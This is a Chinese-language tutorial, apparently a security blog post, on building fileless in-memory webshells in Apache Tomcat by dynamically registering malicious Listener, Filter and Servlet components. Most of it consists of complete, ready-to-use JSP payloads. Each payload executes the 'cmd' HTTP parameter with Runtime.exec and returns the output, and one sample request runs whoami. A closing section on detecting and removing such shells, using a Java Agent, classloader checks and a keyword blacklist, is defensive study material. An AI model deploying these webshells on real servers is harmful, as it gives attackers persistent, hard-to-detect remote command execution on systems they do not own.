动态注册Listener 1 2 3 // 添加恶意Listener Listener_memshell listener_memshell = new Listener_memshell() context.addApplicationEventListener(listener_memshell)
Listener内存马完整代码 根据上述三个步骤构建的payload如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.io.BufferedInputStream" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class Listener_memshell implements ServletRequestListener { @Override public void requestInitialized (ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd" ); if (cmd != null ){ try { Field requestF = req.getClass().getDeclaredField("request" ); requestF.setAccessible(true ); Request request = (Request) requestF.get(req); Response response = (Response) request.getResponse(); InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bins = new BufferedInputStream (ins); response.setContentType("text/html;charset=UTF-8" ); response.getWriter().write("Listener_memshell 被执行\n" ); int len; while ((len = bins.read()) != -1 ) { response.getWriter().write(len); } } catch (IOException e){ e.printStackTrace(); } catch (NullPointerException n){ n.printStackTrace(); } catch (NoSuchFieldException e) { } catch (IllegalAccessException e) { } } } @Override public void requestDestroyed (ServletRequestEvent sre) { } } %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); Listener_memshell listener_memshell = new Listener_memshell (); context.addApplicationEventListener(listener_memshell); %>
参考链接 Java安全学习——内存马
Tomcat 内存马(一)Listener型
Filter内存马 基本原理 filter也称之为过滤器,过滤器实际上就是对web资源进行拦截,做一些过滤,权限鉴别等处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。其工作原理是,当web.xml注册了一个Filter来对某个Servlet 程序进行拦截处理时该 Filter 可以对Servlet 容器发送给 Servlet 程序的请求和 Servlet 程序回送给 Servlet 容器的响应进行拦截,可以决定是否将请求继续传递给 Servlet 程序,以及对请求和相应信息进行修改。filter型内存马是将命令执行的文件通过动态注册 成一个恶意的filter,这个filter没有落地文件并可以让客户端发来的请求通过它来做命令执行。
request: 用来封装请求数据的对象,获取请求数据 。
浏览器会发送HTTP请求到JavaWeb服务器;
后台服务器会对HTTP中的数据解析并存入request对象中;
后续对请求的读取等操作,对将针对request对象进行操作
response: 用来封装响应数据的对象,设置响应数据。
在HTTP处理结束后,业务处理的结果会存储到response对象中;
后台服务器通过读取response对象,重新拼接为HTTP响应数据,发送给用户。
接下来,我们介绍一下Filter内存马构建过程。与Listener内存马分析流程类似,我们先构建一个恶意的Filter过滤器,然后分析其加载过程,从而模拟加载Filter加载恶意Fiter内存马。
恶意Filter过滤器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package example.demo;import javax.servlet.*;import javax.servlet.annotation.WebFilter;import java.io.BufferedInputStream;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;@WebFilter(filterName = "Filter_memshell", urlPatterns = "/Login" ) public class Filter_memshell implements Filter { private String message; @Override public void init (FilterConfig filterConfig) throws ServletException { message = "调用 Filter_mem" ; } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); PrintWriter printWriter = response.getWriter(); if (cmd != null ) { InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bins = new BufferedInputStream (ins); response.setContentType("text/html;charset=UTF-8" ); printWriter.write("Filter_memshell 被执行" ); int len; while ((len = bins.read()) != -1 ) { printWriter.write(len); } } chain.doFilter(request,response); } @Override public void destroy () { } }
访问/Login
即刻触发命令执行。
动态注册Filter流程 同样的,在Filter_memshell#doFilter
下断点,查看调用栈情况。
可以看到在ApplicationFilterChain#internalDoFilter
方法中,调用了filter.doFilter
,filter变量存储着我们的恶意Listener类,继续查看filter
如何生成的。
可以看到filter
是由filterConfig.getFilter
返回的,而filterConfig是filters数组元素,很明显ApplicationFilterChain#filters
数组存储的就是所有FilterConfig
的地方。
同时我们也可以发现ApplicationFilterChain#addFilter
,熟悉的感觉又来了,Listener也是这样的,我们只需要找一个ApplicationFilterChain
对象就行,Tomcat代码风格果然类似。
继续返回上一层,在StandardWrapperValue#invoke
中发现了filterChain.doFilter
调用,而filterChain
对象则是来自于ApplicationFilterFactory.createFilterChain
。
跟进ApplicationFilterFactory#createFilterChain
方法,发现filterChain
首先通过new ApplicationFilterChain()
创建一个空的filterChain
,之后获取StandardContext#FilterMaps
,FilterMaps
对象存储的是对象中存储的是各Filter的名称路径等信息,因此,我们需要构造一个恶意的FilterMap
对象。最终我们可以看到StandardContext#FilterMaps
是由StandardContext#addFilterMapBefore
和StandardContext#addFilterMap
写入的,但是吧StandardContext#addFilterMapBefore
是头插入方式,即插入的Filter排在循序表前部,更容易被遍历到,所以一般都选择StandardContext#addFilterMapBefore
进行插入。
最后遍历filterMaps
将符合条件的使用addFilter将filterConfig
添加至链上,而filterConfig是存储在context中的,因此我们还要构造ApplicationFilterConfig对象。
现在整个流程开始明朗了起来,动态注册Filter流程如下:
1.编写恶意Filter过滤器
2.获得StandardContex对象
3.构造ApplicationFilterConfig
4.构造恶意FilterMap
构建Filter内存马 编写恶意Filter过滤器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <%! public class Filter_memshell implements Filter { private String message; @Override public void init (FilterConfig filterConfig) throws ServletException { message = "调用 Filter_mem" ; } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); PrintWriter printWriter = response.getWriter(); if (cmd != null ) { InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bins = new BufferedInputStream (ins); response.setContentType("text/html;charset=UTF-8" ); printWriter.write("Filter_memshell 被执行" ); int len; while ((len = bins.read()) != -1 ) { printWriter.write(len); } } chain.doFilter(request,response); } @Override public void destroy () { } } %>
获得StandardContext对象 StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。
获取StandardContext实在是有多种方法(包括Listener内存马获取StandardContext),以后可能会统一整理一下,这里列举一二。
方法一
Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。
1 2 3 4 5 6 7 8 9 10 11 12 //获取ApplicationContextFacade类 ServletContext servletContext = request.getSession().getServletContext() //反射获取ApplicationContextFacade类属性context为ApplicationContext类 Field appContextField = servletContext.getClass().getDeclaredField("context" ) appContextField.setAccessible(true) ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext) //反射获取ApplicationContext类属性context为StandardContext类 Field standardContextField = applicationContext.getClass().getDeclaredField("context" ) standardContextField.setAccessible(true) StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext)
方法二
1 2 3 4 Field reqF = request.getClass().getDeclaredField("request" ) reqF.setAccessible(true) Request req = (Request) reqF.get(request) StandardContext standardContext = (StandardContext) req.getContext()
方法三
1 2 WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader() StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext()
此方法在Tomcat 8 9 是可用的,但是由于高版本tomcat把getResouces
返回值弄成null了,就没法用了,可以使用反射获取Resources,下面的代码懒得测试了,遇到再说。
1 2 3 WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardRoot resources = (StandardRoot) getField(webappClassLoaderBase, "resources" );StandardContext standardContext = (StandardContext) resources.getContext();
方法四
1 2 3 4 5 6 7 8 9 10 11 12 while (o == null ) { Field f = servletContext.getClass ().getDeclaredField ("context" ); f.setAccessible (true ); Object object = f.get (servletContext);if (object instanceof ServletContext ) { servletContext = (ServletContext ) object ; } else if (object instanceof StandardContext ) { o = (StandardContext ) object ; } }
构造ApplicationFilterConfig 查看ApplicationFilterConfig的构造函数,发现除了需要context之外,还需要FilterDef对象,emmmm。
再次查看FilterDef
对象,可以看到FilterDef
对象中filter
、filterClass
、filterName
属性,分别对应web.xml中的filter标签。FilterDef
的作用主要为描述Filter名字与Filter 实例的关系。同时后面调用context.FilterMap
的时候会校验FilterDef
,所以我们需要先设置FilterDef
。
1 2 3 4 <filter > <filter -name ></filter -name > <filter -class ></filter -class > </filter >
此外在StandardContext
中发现了addFilterDef
方法,获得StandardContext
看来确实必不可少。
创建FilterDef对象
1 2 3 4 5 6 7 // 创建FilterDef对象 FilterDef filterDef = new FilterDef() filterDef.setFilterName(filterName) filterDef.setFilter(new Filter_memshell()) filterDef.setFilterClass(Filter_memshell.class.getName()) // 添加FilterDef对象 standardContext.addFilterDef(filterDef)
创建ApplicationFIlterConfig对象
1 2 3 4 Constructor <?> [] constructor = ApplicationFilterConfig .class .getDeclaredConstructors () ;constructor [0].setAccessible (true ) ; ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor [0].newInstance (standardContext,filterDef) ;
构造恶意FilterMap filterMaps
中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>
标签。
1 2 3 4 <filter -mapping > <filter -name ></filter -name > <url-pattern></url-pattern> </filter -mapping >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // 创建filterMap FilterMap filterMap =new FilterMap(); filterMap.setFilterName(filterName); filterMap.addURLPattern("/filter" ); filterMap.setDispatcher(DispatcherType.REQUEST.name());// 调用standardContext standardContext.addFilterMapBefore(filterMap);// // 调用FilterMaps// Class ContextFilterMaps = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps" );// Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps" );// filterMapsField.setAccessible(true);// Object contextFilterMaps = filterMapsField.get(standardContext);// Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps" );// Method m = cl.getDeclaredMethod("addBefore" , FilterMap.class);// m.setAccessible(true);// m.invoke(contextFilterMaps, filterMap);
动态注册Filter内存马 1 2 3 4 5 6 Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true );Map filterConfigs = (Map ) Configs.get (standardContext); filterConfigs.put(filterName,filterConfig);
Filter内存马完整代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 <%@ page import ="java.io.IOException" %> <%@ page import ="java.io.PrintWriter" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterChain" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.io.BufferedInputStream" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="example.demo.Filter_memshell" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="java.util.Map" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.loader.WebappClassLoaderBase" %> <%@ page import ="org.apache.catalina.webresources.StandardRoot" %> <%@ page import ="java.lang.reflect.Method" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class Filter_memshell implements Filter { private String message; @Override public void init (FilterConfig filterConfig) throws ServletException { message = "调用 Filter_mem" ; } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); PrintWriter printWriter = response.getWriter(); if (cmd != null ) { InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bins = new BufferedInputStream (ins); response.setContentType("text/html;charset=UTF-8" ); printWriter.write("Filter_memshell 被执行" ); int len; while ((len = bins.read()) != -1 ) { printWriter.write(len); } return ; } chain.doFilter(request,response); } @Override public void destroy () { } } %> <% try { String filterName = "filter_memshell" ; ServletContext servletContext = request.getServletContext(); if (servletContext.getFilterRegistration(filterName) == null ){ StandardContext standardContext = null ; while (standardContext == null ) { Field f = servletContext.getClass().getDeclaredField("context" ); f.setAccessible(true ); Object object = f.get(servletContext); if (object instanceof ServletContext) { servletContext = (ServletContext) object; } else if (object instanceof StandardContext) { standardContext = (StandardContext) object; } } FilterDef filterDef = new FilterDef (); filterDef.setFilterName(filterName); filterDef.setFilter(new Filter_memshell ()); filterDef.setFilterClass(Filter_memshell.class.getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.setFilterName(filterName); filterMap.addURLPattern("/filter" ); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(filterName,filterConfig); response.getWriter().println("Filter内存马添加成功" ); } } catch (Exception e){ response.getWriter().println(e.getMessage()); } %>
在doFilter
中(代码第42行)有一个return,这是为了防止访问时出现404报错,由于Servlet没有这个路由网页,因此后端返回404,但此时doFilter是已经成功执行命令的,为了使其回显出来,因此添加了return,使得请求不通过Servlet直接返回。
Tomcat各版本对Filter内存马支持 首先之前构造的Filter型内存马是指支持Tomcat7以上,原因是因为 javax.servlet.DispatcherType
类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3。
且在Tomcat7与8中 FilterDef 和 FilterMap 这两个类所属的包名不一样tomcat 7:
1 2 org.apache.catalina.deploy.FilterDef; org.apache.catalina.deploy.FilterMap;
tomcat 8:
1 2 org.apache.tomcat.util.descriptor.web.FilterDef; org.apache.tomcat.util.descriptor.web.FilterMap;
Servlet内存马 servlet是一种运行在服务器端的java应用程序,主要功能在于交互式地浏览和修改数据,生成动态Web内容。基本流程为:
客户端发送请求至服务器端;
服务器将请求信息发送至Servlet;
Servlet生成响应信息并将其传给服务器。响应内容动态生成,通常取决于客户端的请求;
服务将响应返回给客户端。
恶意Servlet 在进行Servlet编写之前,我们先对手动生成一个恶意的Servlet,使用注解的方式手动在服务器后台添加Servlet。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package example.demo;import java.io.BufferedInputStream;import java.io.IOException;import java.io.InputStream;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;@WebServlet( name = "Servlet_memshell", urlPatterns = "/servlet" ) public class Servlet_memshell extends HttpServlet { private String message; public void init () { message = "Servlet 命令执行输出:\n" ; } public void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd != null ) { try { InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bins = new BufferedInputStream (ins); resp.setContentType("text/html;charset=UTF-8" ); resp.getWriter().write(message); int len; while ((len = bins.read()) != -1 ) { resp.getWriter().write(len); } }catch (Exception e){ resp.getWriter().println(e.getMessage()); } } } public void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super .doPost(req, resp); } }
访问http://localhost:8080/servlet?cmd=whoami
,命令执行成功。此时我们获得了一个可以执行命令的Servlet。
动态注册Servlet流程 我们使用Listener监听servlet来了解servlet在tomcat中的建立过程,在contextInitialized
处下断点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package example.demo ;import javax.servlet .ServletContextEvent ;import javax.servlet .ServletContextListener ;import javax.servlet .annotation .WebListener ;@WebListener public class Listener_servlet implements ServletContextListener { @Override public void contextInitialized (ServletContextEvent sce ) { System .out .println ("ServletContext对象创建了!" ); } @Override public void contextDestroyed (ServletContextEvent sce ) { System .out .println ("ServletContext对象销毁了!" ); } }
进入StandardContext#startInternal
可以发现调用StandardContext#loadOnStartup
加载启动servlet。
跟进StandardContext#loadOnStartup
,发现loadOnStartup
中遍历传入children
参数,并判断loadOnStartup
,如果>=0,则放list
中,并使用wrapper.load()
进行加载。children
参数内容就是tomcat需要创建的servlet,这里我们可以看到tomcat自己创建的default
和jsp
servlet以及,我们自己创建的Servlet_memshell
servlet,Login
也是我们自己创建的,对Servlet内存马没有影响,这里可忽略
loadOnStartup
实际上就是Tomcat Servlet的懒加载机制,可以通过loadOnStartup
属性值来设置每个Servlet的启动顺序0,正数的值越小,启动该servlet的优先级越高,默认值为-1,此时只有当Servlet被调用时才加载到内存中,loadOnStartup
在web.xml
中由<load-on-startup>1</load-on-startup>
标签指定。由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要把优先级调至1,让自己写的servlet直接被加载。
继续查找children是从哪里保存的,既然能够生成我们所设置的servlet,那么一定读取了web.xml
。
经过查找在StandContext#startInternal
中,调用fireLifecycleEvent
进行配置。
在ContextConfig#configureStart
中发现调用了webConfig
配置。
最终在ContextConfig#webConfig
中发现contextWebXml
变量,可以看到其中存在web.xml
的物理路径。
继续向下执行,发现除了读取web.xml
外,同时合并了注解类型的配置,以及tomcat默认配置,最终存储在webXml
变量中,我们可以看到Login
是在web.xml
中进行配置的,Servlet_menshell
是通过注解配置的,而default
和jsp
是tomcat默认配置的,这就解释了tomcat为什么能够解析jsp代码,因为其中默认配置了jsp
的servlet。
最后进入ContextConfig#configureContext
应用配置,在configureContext
我们能够发现,应用servlet的具体步骤,同时在此处我们也可以了解到listener和filter组件应用的步骤。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public class ContextConfig implements LifecycleListener { ... private void configureContext(WebXml webxml) { ... for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null ) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } ... wrapper.setName(servlet.getServletName()); Map <String ,String > params = servlet.getParameterMap(); for (Entry<String , String > entry : params .entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set <SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); ... wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); for (Entry<String , String > entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); } } }
最后通过addServletMappingDecoded()
方法添加Servlet对应的url映射。
构造Servlet内存马 通过对动态注册Servlet流程进行分析我们可以得到动态注册步骤步骤:
1.编写恶意Servlet
类
2.获得StandardContext
对象
3.通过StandardContext.createWrapper()
创建StandardWrapper
对象。
4.设置StandardWrapper
对象的loadOnStartup
属性值。
5.设置StandardWrapper
对象的ServletName
属性值。
6.设置StandardWrapper
对象的ServletClass
属性值。
7.将StandardWrapper
对象添加进StandardContext
对象的children
属性中。
8.通过StandardContext.addServletMappingDecoded()
添加对应的路径映射。
编写恶意Servlet
类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <%! public class Servlet_memshell extends HttpServlet { private String message; public void init () { message = "Servlet 命令执行输出:\n" ; } public void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); if (cmd != null ) { try { InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bins = new BufferedInputStream (ins); resp.setContentType("text/html;charset=UTF-8" ); resp.getWriter().write(message); int len; while ((len = bins.read()) != -1 ) { resp.getWriter().write(len); } }catch (Exception e){ resp.getWriter().println(e.getMessage()); } } } public void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super .doPost(req, resp); } } %>
获得StandardContext对象 1 2 3 4 5 // 获得StandardContext Field reqF= request.getClass().getDeclaredField("request" ) reqF.setAccessible(true) Request req = (Request) reqF.get(request) StandardContext standardCcontext = (StandardContext) req.getContext()
创建Wrapper 1 2 3 // 创建Wrapper Servlet_memshell servlet_memshell = new Servlet_memshell();Wrapper wrapper = standardCcontext.createWrapper();
设置Servlet属性 设置loadOnStartup属性
1 wrapper .setLoadOnStartup(1 );
设置ServletName属性
设置ServletClass属性
1 wrapper .setServlet(servlet_memshell);
动态注册Servlet 1 2 3 // 将Wrapper 添加到StandardContext standardCcontext.addChild(wrapper ); standardCcontext.addServletMappingDecoded("/servlet",name );
Servlet内存马完整代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.Wrapper" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.io.BufferedInputStream" %> <%@ page contentType="text/html;charset=UTF-8" language ="java"%> <%! public class Servlet_memshell extends HttpServlet { private String message; public void init() { message = "Servlet 命令执行输出:\n"; } public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd != null ) { try { InputStream ins = Runtime.getRuntime().exec(cmd).getInputStream(); BufferedInputStream bins = new BufferedInputStream(ins); resp.setContentType("text/html;charset=UTF-8"); resp.getWriter().write (message); int len; while ((len = bins.read ()) != -1 ) { resp.getWriter().write (len); } }catch (Exception e){ resp.getWriter().println(e.getMessage()); } } } public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp); } } %> <% // 获得StandardContext Field reqF=request.getClass().getDeclaredField("request"); reqF.setAccessible(true ); Request req = (Request) reqF.get (request); StandardContext standardCcontext = (StandardContext) req.getContext(); // 创建Wrapper Servlet_memshell servlet_memshell = new Servlet_memshell(); Wrapper wrapper = standardCcontext.createWrapper(); String name = servlet_memshell.getClass().getSimpleName(); wrapper .setName(name ); wrapper .setLoadOnStartup(1 ); wrapper .setServlet(servlet_memshell); wrapper .setServletClass(servlet_memshell.getClass().getName()); // 将Wrapper 添加到StandardContext standardCcontext.addChild(wrapper ); standardCcontext.addServletMappingDecoded("/servlet",name ); %>
内存马检测 1 2 3 上报,重启 duckmemoryscan 看日志,修漏洞,恢复环境
Java内存马检测一般利用Java Agent技术遍历所有已经加载到内存的class,判断是否未内存马。
1 2 3 4 5 6 7 8 9 10 11 12 public class Transformer implements ClassFileTransformer { public byte [] transform(ClassLoader classLoader, String s, Class <?> aClass, ProtectionDomain protectionDomain, byte [] bytes) throws IllegalClassFormatException { if (isMemshell(aClass,bytes)){ byte [] newClassByte = killMemshell(aClass,bytes); return newClassByte; }else { return bytes; } } }
内存马识别
filter名字
内存马的Filter名一般比较特别,有shell
或者随机数等关键字。这个特征稍弱,因为这取决于内存马的构造者的习惯,构造完全可以设置一个看起来很正常的名字。
filter优先级
为了确保内存马在各种环境下都可以访问,往往需要把filter匹配优先级调至最高,这在shiro反序列化中是刚需。但其他场景下就非必须,只能做一个可疑点。
访问不存在目录,但是响应返回200
对比web.xml
有没有相应的配置。
内存马的Filter是动态注册的,所以在web.xml中肯定没有配置,这也是个可以的特征。但servlet 3.0引入了@WebFilter
标签方便开发这动态注册Filter。这种情况也存在没有在web.xml中显式声明,这个特征可以作为较强的特征。
特殊的classloader加载
我们都知道Filter也是class,也是必定有特定的classloader
加载。一般来说,正常的Filter都是由中间件的WebappClassLoader
加载的。反序列化漏洞喜欢利用TemplatesImpl
和bcel
执行任意代码。所以这些class往往就是以下这两个:
对应的classloader路径下没有class文件
所谓内存马就是代码驻留内存中,本地无对应的class文件。所以我们只要检测Filter对应的ClassLoader
目录下是否存在class文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private static boolean classFileIsExists (Class clazz) { if (clazz == null ){ return false ; } String className = clazz.getName(); String classNamePath = className.replace("." , "/" ) + ".class" ; URL is = clazz.getClassLoader().getResource(classNamePath); if (is == null ){ return false ; }else { return true ; } }
Filter的doFilter
方法中是否村咋恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private static boolean isMemshell (Class targetClass,byte[] targetClassByte ){ ClassLoader classLoader = null ; if (targetClass.getClassLoader () != null ) { classLoader = targetClass.getClassLoader (); }else { classLoader = Thread .currentThread ().getContextClassLoader (); } Class clsFilter = null ; try { clsFilter = classLoader.loadClass ("javax.servlet.Filter" ); }catch (Exception e){ } if (clsFilter != null && clsFilter.isAssignableFrom (targetClass)){ if (classLoader.getClass ().getName ().contains ("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader" ) || classLoader.getClass ().getName ().contains ("com.sun.org.apache.bcel.internal.util.ClassLoader" )){ return true ; } if (classFileIsExists (targetClass)){ return true ; } String [] blacklist = new String []{"getRuntime" ,"defineClass" ,"invoke" }; String clsJavaCode = FernflowerUtils .decomper (targetClass,targetClassByte); for (String b :blacklist){ if (clsJavaCode.contains (b)){ return true ; } } }else { return false ; } return false ; }
内存马查杀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static byte [] killMemshell(Class clsMemshell,byte [] byteMemshell) throws Exception{ File file = new File (String.format("/tmp/%s.class" ,clsMemshell.getName())); if (file .exists()){ file .delete (); } FileOutputStream fos = new FileOutputStream(file .getAbsoluteFile()); fos.write (byteMemshell); fos.flush(); fos.close(); ClassPool cp = ClassPool.getDefault(); cp.insertClassPath("/tmp/" ); CtClass cc = cp.getCtClass(clsMemshell.getName()); CtMethod m = cc.getDeclaredMethod("doFilter" ); m.addLocalVariable("elapsedTime" , CtClass.longType); m.setBody("{$2.getWriter().write(\"Your memory horse has been killed by c0ny1\");}" ); byte [] byteCode = cc.toBytecode(); cc.detach(); return byteCode; }
模拟中间件注销Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Object standardContext = ... ; Field _filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs" ); _filterConfigs.setAccessible(true ); Object filterConfigs = _filterConfigs.get(standardContext);Map <String , ApplicationFilterConfig> filterConfigMap = (Map <String , ApplicationFilterConfig>)filterConfigs; for(Map .Entry<String , ApplicationFilterConfig> map : filterConfigMap.entrySet()){ String filterName = map .getKey(); ApplicationFilterConfig filterConfig = map .getValue(); Filter filterObject = filterConfig.getFilter(); if (filterName.startsWith("memshell" )){ SecurityUtil.remove(filterObject); filterConfigMap.remove(filterName); } }
参考链接 Request和Response的概述及其方法_pan-jin的博客-CSDN博客_response实现了什么接口
servlet内存马
Java安全学习——内存马
查杀Java web filter型内存马